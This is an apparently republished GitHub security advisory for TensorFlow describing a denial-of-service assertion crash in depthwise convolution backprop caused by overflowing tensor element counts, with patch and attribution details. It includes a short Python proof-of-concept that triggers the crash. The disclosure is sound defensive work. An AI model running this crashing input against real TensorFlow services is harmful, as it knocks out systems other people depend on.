MISFIRE

Browse / AI Framework and Platform Flaws / GHSA-mw6j-hh29-h379

`CHECK` failure in depthwise ops via overflows

GHSA-mw6j-hh29-h379 ยท 2022-05-25 moderate

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Denial of service
Affected
tensorflow-cpu, tensorflow (PyPI)

How it works, in short

Overflowing the element count in depthwise filter backprop computation triggers an assertion failure that crashes TensorFlow. (Our summary, written by a model. The source text is below.)

Details

Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

This is another instance of TFSA-2021-198 (CVE-2021-41197).

### Patches
We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

References

Source: GitHub Advisory Database, used under CC BY 4.0.